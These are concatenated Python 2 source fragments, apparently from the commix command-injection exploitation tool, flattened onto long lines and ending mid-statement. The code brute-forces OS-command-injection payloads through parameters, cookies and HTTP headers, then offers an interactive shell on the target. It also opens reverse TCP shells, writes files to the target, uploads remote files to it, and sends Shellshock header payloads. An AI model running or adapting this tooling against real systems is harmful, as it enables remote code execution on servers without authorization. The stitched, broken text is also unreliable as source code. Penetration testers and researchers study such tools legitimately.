randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) # Check for base64 / hex encoding payload = checks.perform_payload_encoding(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: print settings.print_payload(payload) elif settings.VERBOSITY_LEVEL > 1: info_msg = "Generating a payload for injection..." print settings.print_info_msg(info_msg) print settings.print_payload(payload) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload(url, timesec) # Evaluate test results. time.sleep(timesec) shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The" if found_vuln_parameter == " ": success_msg += http_request_method + "" success_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name success_msg += found_vuln_parameter + " seems injectable via " success_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print settings.print_success_msg(success_msg) print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = raw_input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: enumerate_again = "y" if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) #print "" break elif enumerate_again in settings.CHOICE_NO: new_line = False break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) if not menu.file_access_options( ) and not menu.options.os_cmd and new_line: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: if not menu.options.batch: question_msg = "Do you want to access files again? [Y/n] > " sys.stdout.write( settings.print_question_msg( question_msg)) file_access_again = sys.stdin.readline( ).replace("\n", "").lower() else: file_access_again = "" if len(file_access_again) == 0: file_access_again = "y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: if menu.file_access_options(): # if not menu.enumeration_options(): # print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) print "" # Check if defined single cmd. if menu.options.os_cmd: # if not menu.file_access_options(): # print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write( settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace( "\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: if not menu.options.batch: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: go_back, go_back_again = shell_options.check_option( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="") if go_back and go_back_again == False: break if go_back and go_back_again: return True else: # Command execution results. time.sleep(timesec) response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. try: shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) except: print "" continue if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_critical_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def cb_injection_handler(url, delay, filename, http_request_method): counter = 1 vp_flag = True no_result = True is_encoded = False export_injection_info = False injection_type = "Results-based Command Injection" technique = "classic injection technique" if not settings.LOAD_SESSION: info_msg = "Testing the " + technique + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 1: print "" i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # If a previous session is available. if settings.LOAD_SESSION and session_handler.notification( url, technique): url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) else: i = i + 1 # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" # Change TAG on every request to prevent false-positive results. TAG = ''.join( random.choice(string.ascii_uppercase) for i in range(6)) randv1 = random.randrange(100) randv2 = random.randrange(100) randvcalc = randv1 + randv2 # Define alter shell alter_shell = menu.options.alter_shell try: if alter_shell: # Classic -alter shell- decision payload (check if host is vulnerable). payload = cb_payloads.decision_alter_shell( separator, TAG, randv1, randv2) else: # Classic decision payload (check if host is vulnerable). payload = cb_payloads.decision( separator, TAG, randv1, randv2) # Define prefixes & suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = re.sub(" ", whitespace, payload) if settings.TAMPER_SCRIPTS['base64encode']: from src.core.tamper import base64encode payload = base64encode.encode(payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: print settings.print_payload(payload) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = cb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = cb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to referer injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = cb_injector.referer_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom http header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = cb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = cb_injector.injection_test( payload, http_request_method, url) # Evaluate test results. shell = cb_injector.injection_test_results( response, TAG, randvcalc) if not settings.VERBOSITY_LEVEL >= 1: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if shell == False: info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if float(float_percent) >= 99.9: if no_result == True: percent = Fore.RED + "FAILED" + Style.RESET_ALL else: percent = str(float_percent) + "%" elif len(shell) != 0: percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL else: percent = str(float_percent) + "%" info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() except KeyboardInterrupt: raise except SystemExit: raise except: continue # Yaw, got shellz! # Do some magic tricks! if shell: found = True no_result = False if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION: print "" # Print the findings to terminal. success_msg = "The (" + http_request_method + ")" success_msg += found_vuln_parameter + header_name success_msg += the_type + " is vulnerable to " + injection_type + "." print settings.print_success_msg(success_msg) print " (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + "" print " (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title( ) + Style.RESET_ALL + "" print " (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub( "%20", " ", re.sub("%2B", "+", payload)) + Style.RESET_ALL # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True") else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: while True: question_msg = "Do you want to enumerate again? [Y/n/q] > " enumerate_again = raw_input( "\n" + settings.print_question_msg(question_msg) ).lower() if enumerate_again in settings.CHOICE_YES: cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif enumerate_again in settings.CHOICE_NO: break elif enumerate_again in settings.CHOICE_QUIT: sys.exit(0) else: if enumerate_again == "": enumerate_again = "enter" err_msg = "'" + enumerate_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if menu.enumeration_options(): cb_enumeration.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) if not menu.file_access_options( ) and not menu.options.os_cmd: print "" # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: if settings.ENUMERATION_DONE != True: print "" while True: question_msg = "Do you want to access files again? [Y/n/q] > " file_access_again = raw_input( settings.print_question_msg( question_msg)).lower() if file_access_again in settings.CHOICE_YES: cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" break elif file_access_again in settings.CHOICE_NO: break elif file_access_again in settings.CHOICE_QUIT: sys.exit(0) else: if file_access_again == "": file_access_again = "enter" err_msg = "'" + file_access_again + "' is not a valid answer." print settings.print_error_msg( err_msg) + "\n" pass else: if menu.file_access_options(): if not menu.enumeration_options(): print "" cb_file_access.do_check( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) print "" # Check if defined single cmd. if menu.options.os_cmd: if not menu.file_access_options(): print "" cb_enumeration.single_os_cmd_exec( separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False: # if settings.VERBOSITY_LEVEL >= 1: # print "" question_msg = "Do you want a Pseudo-Terminal shell? [Y/n/q] > " gotshell = raw_input( settings.print_question_msg( question_msg)).lower() if gotshell in settings.CHOICE_YES: print "" print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: if not readline_error: # Tab compliter readline.set_completer( menu.tab_completer) # MacOSX tab compliter if getattr( readline, '__doc__', '' ) is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind( "bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind( "tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower( ) in settings.SHELL_OPTIONS: os_shell_option = checks.check_os_shell_options( cmd.lower(), technique, go_back, no_result) if os_shell_option == False: if no_result == True: return False else: return True elif os_shell_option == "quit": sys.exit(0) elif os_shell_option == "back": go_back = True break elif os_shell_option == "os_shell": warn_msg = "You are already into the 'os_shell' mode." print settings.print_warning_msg( warn_msg) + "\n" elif os_shell_option == "reverse_tcp": settings.REVERSE_TCP = True # Set up LHOST / LPORT for The reverse TCP connection. reverse_tcp.configure_reverse_tcp( ) if settings.REVERSE_TCP == False: continue while True: if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS: result = checks.check_reverse_tcp_options( settings.LHOST) else: cmd = reverse_tcp.reverse_tcp_options( ) result = checks.check_reverse_tcp_options( cmd) if result != None: if result == 0: return False elif result == 1 or result == 2: go_back_again = True settings.REVERSE_TCP = False break # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The reverse TCP connection has been failed!" print settings.print_critical_msg( err_msg) else: pass else: # Command execution results. response = cb_injector.injection( separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # if need page reload if menu.options.url_reload: time.sleep(delay) response = urllib.urlopen(url) if menu.options.ignore_session or \ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = cb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell: html_parser = HTMLParser.HTMLParser( ) shell = html_parser.unescape( shell) if shell != "": print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n" else: if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The '" + cmd + "' command, does not return any output." print settings.print_error_msg( err_msg) + "\n" except KeyboardInterrupt: raise except SystemExit: raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: sys.exit(0) else: if gotshell == "": gotshell = "enter" err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) + "\n" pass if no_result == True: print "" return False else: sys.stdout.write("\r") sys.stdout.flush()
def purge(): directory = settings.OUTPUT_DIR if not os.path.isdir(directory): warn_msg = "Skipping purging of directory '" + directory + "' as it does not exist." print(settings.print_warning_msg(warn_msg)) return info_msg = "Purging content of directory '" + directory + "'" if not menu.options.verbose >= 1: info_msg += "... " else: info_msg += ".\n" sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() # Purging content of target directory. dir_paths = [] file_paths = [] for rootpath, directories, filenames in os.walk(directory): dir_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in directories]) file_paths.extend( [os.path.abspath(os.path.join(rootpath, i)) for i in filenames]) # Changing file attributes. if menu.options.verbose >= 1: info_msg = "Changing file attributes... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.chmod(file_path, stat.S_IREAD | stat.S_IWRITE) except: failed = True pass if menu.options.verbose >= 1: if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") # Writing random data to files. if menu.options.verbose >= 1: info_msg = "Writing random data to files... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: filesize = os.path.getsize(file_path) with open(file_path, "w+b") as f: f.write("".join( chr(random.randint(0, 255)) for _ in xrange(filesize))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") # Truncating files. if menu.options.verbose >= 1: info_msg = "Truncating files... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: with open(file_path, 'w') as f: pass except: failed = True pass if menu.options.verbose >= 1: if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") # Renaming filenames to random values. if menu.options.verbose >= 1: info_msg = "Renaming filenames to random values... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False for file_path in file_paths: try: os.rename( file_path, os.path.join( os.path.dirname(file_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") # Renaming directory names to random values. if menu.options.verbose >= 1: info_msg = "Renaming directory names to random values... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() failed = False dir_paths.sort( cmp=lambda x, y: y.count(os.path.sep) - x.count(os.path.sep)) for dir_path in dir_paths: try: os.rename( dir_path, os.path.join( os.path.dirname(dir_path), "".join( random.sample(string.ascii_letters, random.randint(4, 8))))) except: failed = True pass if menu.options.verbose >= 1: if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") # Deleting the whole directory tree. if menu.options.verbose >= 1: info_msg = "Deleting the whole directory tree... " sys.stdout.write(settings.print_info_msg(info_msg)) try: failed = False os.chdir(os.path.join(directory, "..")) shutil.rmtree(directory) except OSError as ex: failed = True if not failed: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") else: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") err_msg = "Problem occurred while removing directory '" + directory + "'." print(settings.print_critical_msg(err_msg)) # eof
def file_access(url, cve, check_header, filename): #------------------------------------- # Write to a file on the target host. #------------------------------------- if menu.options.file_write: file_to_write = menu.options.file_write if not os.path.exists(file_to_write): warn_msg = "It seems that the '" + file_to_write + "' file, does not exists." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() sys.exit(0) if os.path.isfile(file_to_write): with open(file_to_write, 'r') as content_file: content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] content = "".join(str(p) for p in content).replace("'", "\"") else: warn_msg = "It seems that '" + file_to_write + "' is not a file." sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------- # Check the file-destination #------------------------------- if os.path.split(menu.options.file_dest)[1] == "" : dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1] else: dest_to_write = menu.options.file_dest # Execute command cmd = settings.FILE_WRITE + " '" + content + "'" + ">" + "'" + dest_to_write + "'" shell, payload = cmd_exec(url, cmd, cve, check_header, filename) # Check if file exists! cmd = "ls " + dest_to_write + "" # Check if defined cookie injection. shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell + Style.RESET_ALL success_msg += Style.BRIGHT + " file was created successfully!" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions to write the '" warn_msg += dest_to_write + "' file." + "\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True #------------------------------------- # Upload a file on the target host. #------------------------------------- if menu.options.file_upload: file_to_upload = menu.options.file_upload # check if remote file exists. try: urllib2.urlopen(file_to_upload) except urllib2.HTTPError, warn_msg: warn_msg = "It seems that the '" + file_to_upload + "' file, " warn_msg += "does not exists. (" + str(warn_msg) + ")\n" sys.stdout.write(settings.print_critical_msg(warn_msg)) sys.stdout.flush() sys.exit(0) # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) # Check if file exists! cmd = "ls " + dest_to_upload shell, payload = cmd_exec(url, cmd, cve, check_header, filename) shell = "".join(str(p) for p in shell) if shell: if settings.VERBOSITY_LEVEL >= 1: print "" success_msg = "The " + shell success_msg += Style.RESET_ALL + Style.BRIGHT success_msg += " file was uploaded successfully!\n" sys.stdout.write(settings.print_success_msg(success_msg)) sys.stdout.flush() else: warn_msg = "It seems that you don't have permissions " warn_msg += "to write the '" + dest_to_upload + "' file.\n" sys.stdout.write(settings.print_warning_msg(warn_msg)) sys.stdout.flush() settings.FILE_ACCESS_DONE = True
except urllib2.HTTPError, err: if settings.IGNORE_ERR_MSG == False: print "\n" + settings.print_critical_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() except urllib2.URLError, err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err_msg) raise SystemExit() """ Execute user commands """ def cmd_exec(url, cmd, cve, check_header, filename): """ Check for shellshock 'shell' """ def check_for_shell(url, cmd, cve, check_header, filename): try: payload = shellshock_exploitation(cve, cmd) header = { check_header : payload } request = urllib2.Request(url, None, header)
def injection_proccess(url, check_parameter, http_request_method, filename, timesec): if menu.options.ignore_code: info_msg = "Ignoring '" + str( menu.options.ignore_code) + "' HTTP error code. " print(settings.print_info_msg(info_msg)) # Skipping specific injection techniques. if settings.SKIP_TECHNIQUES: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) for skip_tech_name in settings.AVAILABLE_TECHNIQUES: if skip_tech_name in menu.options.skip_tech: menu.options.tech = menu.options.tech.replace( skip_tech_name, "") if len(menu.options.tech) == 0: err_msg = "Detection procedure was aborted due to skipping all injection techniques." print(settings.print_critical_msg(err_msg)) raise SystemExit # User-Agent HTTP header / Referer HTTP header / # Host HTTP header / Custom HTTP header Injection(s) if check_parameter.startswith(" "): header_name = "" the_type = " HTTP header" else: if settings.COOKIE_INJECTION: header_name = " cookie" else: header_name = "" the_type = " parameter" check_parameter = " '" + check_parameter + "'" # Estimating the response time (in seconds) timesec, url_time_response = requests.estimate_response_time(url, timesec) # Load modules modules_handler.load_modules(url, http_request_method, filename) if not settings.LOAD_SESSION: if (len(menu.options.tech) == 0 or "e" in menu.options.tech): # Check for identified warnings url = heuristic_basic(url, http_request_method) if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: while True: if not menu.options.batch: question_msg = "Skipping of further command injection tests is recommended. " question_msg += "Do you agree? [Y/n] > " procced_option = _input( settings.print_question_msg(question_msg)) else: procced_option = "" if procced_option in settings.CHOICE_YES or len( procced_option) == 0: settings.CLASSIC_STATE = settings.TIME_BASED_STATE = settings.FILE_BASED_STATE = False settings.EVAL_BASED_STATE = settings.SKIP_COMMAND_INJECTIONS = True break elif procced_option in settings.CHOICE_NO: break elif procced_option in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + procced_option + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass info_msg = "Setting the" if not header_name == " 